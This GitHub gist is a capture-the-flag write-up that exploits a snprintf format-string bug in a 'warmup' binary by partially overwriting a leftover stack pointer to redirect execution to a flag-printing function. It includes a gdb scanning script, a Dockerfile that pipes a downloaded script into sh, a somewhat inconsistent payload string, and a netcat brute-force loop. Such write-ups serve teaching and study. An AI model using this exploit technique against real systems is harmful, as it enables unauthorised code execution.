Skip to content

Instantly share code, notes, and snippets.

@cwgreene
Last active June 11, 2020 09:08
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save cwgreene/bb82a787a3765242389913adc5146ac3 to your computer and use it in GitHub Desktop.
Save cwgreene/bb82a787a3765242389913adc5146ac3 to your computer and use it in GitHub Desktop.

Warmup

We are given a binary for warmup and a binary for libc.so.6.

Loading the binary warmup in Ghidra reveals a straightforward binary.

undefined8 main(void)
{
  initialize();
  vuln();
  return 0;
}

void initialize(void)
{
  setvbuf(stdin,(char *)0x0,2,0);
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stderr,(char *)0x0,2,0);
  fd = open("flag.txt",0);
  if (fd < 0) {
    puts("flag.txt not found");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  return;
}

void vuln(void)
{
  long in_FS_OFFSET;
  char local_218 [256];
  char local_118 [264];
  undefined8 local_10;
  
  local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
  read(0,local_218,0x100);
  snprintf(local_118,0x100,local_218);
                    /* WARNING: Subroutine does not return */
  exit(0);
}

In addition to the functions reachable from main there is also a win function at 0x00100a14.

void win(void)
{
  long in_FS_OFFSET;
  undefined local_38 [40];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  read(fd,local_38,0x1e);
  write(1,local_38,0x1e);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

So no buffer overflows, but we clearly have a snprintf vulnerability, even though we can't overflow the buffer. '%hhn' lets us write the number of characters written by the format string to a memory location passed into sprintf. Since we control the stack, we could put onto the stack the memory location of the return address of snprintf and then write the adjusted return addresss of the win function (0x14) to it.

This could be done with

'%014c%6$hhnXXXXX\xDE\xAD\xBE\xEF'

If 0xdeadbeef was the target address. The %6$hhn notation means 'write the number of characters written so far and write that (as a byte) to the memory location pointed to by the sixth argument'. We want the sixth argumetn because it's the third argument on the stack, and the first three arguments to snprintf are passed by registers.

Unfortunately, we have several issues. We don't know where the stack is, we don't know where libc is, and we don't know where the TEXT section is. And we don't get any output from the program before we exit.

If we knew where the TEXT section was, we could override the exit GOT entry to point to win.

If we knew where libc was, we could install an exit handler.

If we knew where the stack was, we could have snprintf return where we pleased.

But we don't know where they are. So our salvation must lie in using detritus.

Detritus

When entering a function, and allocating arrays, C doesn't zero memory, like in say java. The array will contain whatever happened to be on the stack. Sources of detritus may be from the program itself, or it may be from the initial libc setup, or it may even be from the linker. A drawback to relying on deteritus is the need to have a similar environment. Looking at the libc version we find that it is GLIBC 2.23-0ubuntu11. So this is from ubuntu 16.04 most likely. Spinning up a docker instance can be done with

FROM ubuntu:16.04
RUN apt update
RUN apt -y install socat
RUN apt -y install wget
RUN apt -y install gdb
RUN apt -y install python3-colorama
RUN wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh
copy scan_frame.py /scan_frame.py                                                
copy warmup /warmup
copy flag.txt /flag.txt

gef and gdb are used to debug on the instance. scan_frame.py is a script that reads the stack frame and highlights stack and libc variables.

import gdb
import struct
import colorama

def vmmap():
    result = []
    mappings = gdb.execute("vmmap", from_tty=False, to_string=True).split("\n")
    mappings = [m.split() for m in mappings[1:]]
    for mapping in mappings:
        if len(mapping) < 4:
            continue
        if len(mapping) < 5:
            mapping = mapping + ["?"]
        #print(mapping[0], mapping[1])
        result.append([int(mapping[0], 16), int(mapping[1], 16), mapping[-1]])
    return result

def find_mapping(addr, mappings):
    for mapping in mappings:
        if addr >= mapping[0] and addr <= mapping[1]:
            return mapping[-1]

class ScanCommand(gdb.Command):
    def __init__(self):
        super(ScanCommand, self).__init__("scan_memory", gdb.COMMAND_DATA)

    def invoke(self, arg, from_tty):
        # x-64 specific
        bottom_of_stack = int(gdb.parse_and_eval("$rsp"))
        top_of_stack = int(gdb.parse_and_eval("$rbp"))
        proc = gdb.inferiors()[0]
        mappings = vmmap()
        for i in range((top_of_stack-bottom_of_stack)//8):
            qword = proc.read_memory(bottom_of_stack+8*i, 8)
            value = struct.unpack("Q", qword.tobytes())[0]
            m = find_mapping(value, mappings)
            color = ""
            if m == "[stack]":
                color = colorama.Fore.GREEN
                color += colorama.Style.BRIGHT
            elif m and "libc" in m:
               color = colorama.Fore.RED
               color += colorama.Style.BRIGHT
            print(color + hex(bottom_of_stack+8*i), hex(value), m if m else "", colorama.Fore.RESET, colorama.Style.RESET_ALL)

ScanCommand()

The output of this is

0x7ffc3585cec0 0x7ffc3585d00a [stack]  
0x7ffc3585cec8 0x7ffc3585cf38 [stack]  
0x7ffc3585ced0 0x6562b026   
0x7ffc3585ced8 0x1958ac0   
0x7ffc3585cee0 0x26   
0x7ffc3585cee8 0x7ffc3585d010 [stack]  
0x7ffc3585cef0 0x7ffc359fd298 [vdso]  
0x7ffc3585cef8 0x7ffc359fd1a8 [vdso]  
0x7ffc3585cf00 0x7ffc3585cf34 [stack] <--- this is the one we want
0x7ffc3585cf08 0x7ffc3585d000 [stack]  
0x7ffc3585cf10 0x7fbd3c5b4728 ?  
0x7ffc3585cf18 0x0   
0x7ffc3585cf20 0x1   
0x7ffc3585cf28 0x7fbd3c38d7f0 /lib/x86_64-linux-gnu/ld-2.23.so  
0x7ffc3585cf30 0x3c38d390   
0x7ffc3585cf38 0x0   
0x7ffc3585cf40 0x7ffc3585d070 [stack]  
0x7ffc3585cf48 0x7fbd3c5b4a88 ?  
0x7ffc3585cf50 0x7ffc3585d0a0 [stack]  
0x7ffc3585cf58 0x7ffc3585d100 [stack]  
0x7ffc3585cf60 0x0   
0x7ffc3585cf68 0x7fbd3c5b4700 ?  
0x7ffc3585cf70 0x7ffc3585d0c8 [stack]  
0x7ffc3585cf78 0x7fbd3c397b1f /lib/x86_64-linux-gnu/ld-2.23.so  
0x7ffc3585cf80 0x0   
0x7ffc3585cf88 0x7ffc3585d100 [stack]  
0x7ffc3585cf90 0x0   
0x7ffc3585cf98 0x0   
0x7ffc3585cfa0 0x0   
0x7ffc3585cfa8 0x7fbd3c5b4700 ?  
0x7ffc3585cfb0 0x37e6ea5cd50e   
0x7ffc3585cfb8 0x7fbd3c5b39d8 /lib/x86_64-linux-gnu/ld-2.23.so  
0x7ffc3585cfc0 0x7fbd3c5ad700 ?  
0x7ffc3585cfc8 0x0   
0x7ffc3585cfd0 0x7fbd3c5b4a88 ?  
0x7ffc3585cfd8 0x7ffc3585d010 [stack]  
0x7ffc3585cfe0 0x340   
0x7ffc3585cfe8 0x7ffc3585d000 [stack]  
0x7ffc3585cff0 0x6562b026   
0x7ffc3585cff8 0x7fbd3c14f627 /lib/x86_64-linux-gnu/libc-2.23.so  
0x7ffc3585d000 0xffffffff   
0x7ffc3585d008 0x7fbd3c5b4718 ?  
0x7ffc3585d010 0x7ffc359fd268 [vdso]  
0x7ffc3585d018 0x7fbd3c5b4700 ?  
0x7ffc3585d020 0x7ffc3585d001 [stack]  
0x7ffc3585d028 0x37e6ea5a36b6   
0x7ffc3585d030 0x0   
0x7ffc3585d038 0x0   
0x7ffc3585d040 0x0   
0x7ffc3585d048 0x0   
0x7ffc3585d050 0x0   
0x7ffc3585d058 0x0   
0x7ffc3585d060 0x7ffc3585d1d8 [stack]  
0x7ffc3585d068 0x0   
0x7ffc3585d070 0x7fbd3c388540 /lib/x86_64-linux-gnu/libc-2.23.so  
0x7ffc3585d078 0x7fbd3c03e947 /lib/x86_64-linux-gnu/libc-2.23.so  
0x7ffc3585d080 0x7fbd3c388540 /lib/x86_64-linux-gnu/libc-2.23.so  
0x7ffc3585d088 0x7fbd3c5ad700 ?  
0x7ffc3585d090 0x55ce54747810 /warmup  
0x7ffc3585d098 0x7fbd3c03b439 /lib/x86_64-linux-gnu/libc-2.23.so  
0x7ffc3585d0a0 0x7fbd3c388540 /lib/x86_64-linux-gnu/libc-2.23.so  
0x7ffc3585d0a8 0x7fbd3c032fb4 /lib/x86_64-linux-gnu/libc-2.23.so  
0x7ffc3585d0b0 0x0   
0x7ffc3585d0b8 0x0   
0x7ffc3585d0c0 0x7ffc3585d0d0 [stack]  
0x7ffc3585d0c8 0xc8e09dd4f4f66c00   

So we have alot of stack variables! These will be easiest to manipulate. Since the stack variables are in the format string array, we can overwrite the least significant part of the address with the very end of our format string. So if our target address is close, we can just change one byte. Due to ASLR of course, we don't know what byte that needs to be, but worst case, we would just do this 256 times. Due to the need of the stack to be 16 byte aligned, however, this means that we only have to do this about 16 times on average before we randomly hit the return pointer.

So the address of snprintf's return pointer will be right below this, so 0x7ffc3585ceb8 is our target. The closest stack vector is either 0x7ffc3585cf34 [2nd entry] or 0x7ffc3585cf38 [9thn entry]. To simplify our format string, we'll choose the 0x7ffc3585cf38 to give us some space. The distance between this is 128, so we should be able to use it (in this memory layout we can't use it since the next byte is ce rather than cf). So our format string payload is

%014c%12$hhnkXXXXX' + 'X' * (8 - 2)*8 + "\x48" %20c%12$hhnXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXH

And just pipe that into netcat a few times.

while true; do cat payload | nc 172.17.0.2 3333; done
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment